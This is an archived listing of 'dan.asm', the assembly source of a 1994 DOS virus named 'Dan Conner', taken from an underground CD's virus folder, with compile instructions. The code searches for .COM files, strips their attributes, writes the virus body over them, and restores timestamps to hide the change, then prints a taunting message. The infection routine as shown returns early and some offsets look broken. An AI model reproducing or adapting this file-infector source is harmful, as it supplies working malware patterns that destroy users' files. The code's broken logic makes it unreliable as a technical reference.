home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dan.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.1 KB  |  122 lines

  1. ;  Dan Conner written by MuTaTiON INTERRUPT
  2.  
  3. ;  To compile this use TASM /M dan.asm
  4.  
  5. ;---------
  6.  
  7.  
  8.  
  9.  
  10.  
  11. code    segment public 'code'
  12.  
  13.         assume  cs:code
  14.  
  15.         org     100h                              ; All .COM files start here
  16.  
  17.  
  18.  
  19. start:
  20.  
  21.         db 0e9h,0,0                               ; Jump to the next command
  22.  
  23.  
  24.  
  25. virus:
  26.  
  27.         mov     ax,3524h                          ; Get int 24 handler
  28.  
  29.         int     21h                               ; To ES:BX
  30.  
  31.         mov     word ptr [oldint24],bx            ; Save it
  32.  
  33.         mov     word ptr [oldint24+2],es
  34.  
  35.  
  36.  
  37.         mov     ah,25h                            ; Set new int 24 handler
  38.  
  39.         mov     dx,offset int24                   ; DS:DX->new handler
  40.  
  41.         int     21h
  42.  
  43.  
  44.  
  45.         push    cs                                ; Restore ES
  46.  
  47.         pop     es                                ; 'cuz it was changed
  48.  
  49.  
  50.  
  51.         mov     dx,offset comfilespec
  52.  
  53.         call    findfirst
  54.  
  55.  
  56.  
  57.         mov     ah,9                              ; Display string
  58.  
  59.         mov     dx,offset virusname
  60.  
  61.         int     21h
  62.  
  63.  
  64.  
  65.         mov     ax,2524h                          ; Restore int 24 handler
  66.  
  67.         mov     dx,offset oldint24                ; To original
  68.  
  69.         int     21h
  70.  
  71.  
  72.  
  73.         push    cs
  74.  
  75.         pop     ds                                ; Do this because the DS gets changed
  76.  
  77.  
  78.  
  79.         int    20h                                ; quit program
  80.  
  81.  
  82.  
  83. findfirst:
  84.  
  85.         mov     ah,4eh                            ; Find first file
  86.  
  87.         mov     cx,7                              ; Find all attributes
  88.  
  89.  
  90.  
  91. findnext:
  92.  
  93.         int     21h                               ; Find first/next file int
  94.  
  95.         jc      quit                              ; If none found then change dir
  96.  
  97.  
  98.  
  99.         call    infection                         ; Infect that file
  100.  
  101.  
  102.  
  103.         mov     ah,4fh                            ; Find next file
  104.  
  105.         jmp     findnext                          ; Jump to the loop
  106.  
  107.  
  108.  
  109. quit:
  110.  
  111.         ret
  112.  
  113.  
  114.  
  115. infection:
  116.  
  117. quitinfect:
  118.  
  119.         ret
  120.  
  121.  
  122.  
  123. FinishInfection:
  124.  
  125.         xor     cx,cx                             ; Set attriutes to none
  126.  
  127.         call    attributes
  128.  
  129.  
  130.  
  131.         mov     al,2                              ; open file read/write
  132.  
  133.         call    open
  134.  
  135.  
  136.  
  137.         mov     ah,40h                            ; Write virus to file
  138.  
  139.         mov     cx,eof-virus                      ; Size of virus
  140.  
  141.         mov     dx,100
  142.  
  143.         int     21h
  144.  
  145.  
  146.  
  147. closefile:
  148.  
  149.         mov     ax,5701h                          ; Set files date/time back
  150.  
  151.         push    bx
  152.  
  153.         mov     cx,word ptr [bx]+16h              ; Get old time from dta
  154.  
  155.         mov     dx,word ptr [bx]+18h              ; Get old date
  156.  
  157.         pop     bx
  158.  
  159.         int     21h
  160.  
  161.  
  162.  
  163.         mov     ah,3eh                            ; Close file
  164.  
  165.         int     21h
  166.  
  167.  
  168.  
  169.         xor     cx,cx
  170.  
  171.         mov     bx,80h
  172.  
  173.         mov     cl,byte ptr [bx]+15h              ; Get old Attributes
  174.  
  175.         call    attributes
  176.  
  177.  
  178.  
  179.         retn
  180.  
  181.  
  182.  
  183. open:
  184.  
  185.         mov     ah,3dh                            ; open file
  186.  
  187.         mov     dx,80h+30
  188.  
  189.         int     21h
  190.  
  191.         xchg    ax,bx                             ; file handle in bx
  192.  
  193.         ret
  194.  
  195.  
  196.  
  197. attributes:
  198.  
  199.         mov     ax,4301h                          ; Set attributes to cx
  200.  
  201.         mov     dx,80h+30
  202.  
  203.         int     21h
  204.  
  205.         ret
  206.  
  207. int24:                                            ; New int 24h (error) handler
  208.  
  209.         mov     al,3                              ; Fail call
  210.  
  211.         iret                                      ; Return from int 24 call
  212.  
  213.  
  214.  
  215. Virusname db 'Dan Conner - Anything You Say Dear...',10,13
  216.  
  217. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  218.  
  219. Made_with db '[NOVEMBER 1994]',10,13              ; Please do not remove this
  220.  
  221.           db 'Hey: I LOVE ROSEANNE!','$'
  222.  
  223.  
  224.  
  225. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  226.  
  227.  
  228.  
  229. eof     equ     $                                 ; Marks the end of file
  230.  
  231.  
  232.  
  233. oldint24 dd ?                                     ; Storage for old int 24h handler
  234.  
  235.  
  236.  
  237. code    ends
  238.  
  239.         end     start
  240.  
  241.  
  242.  
  243.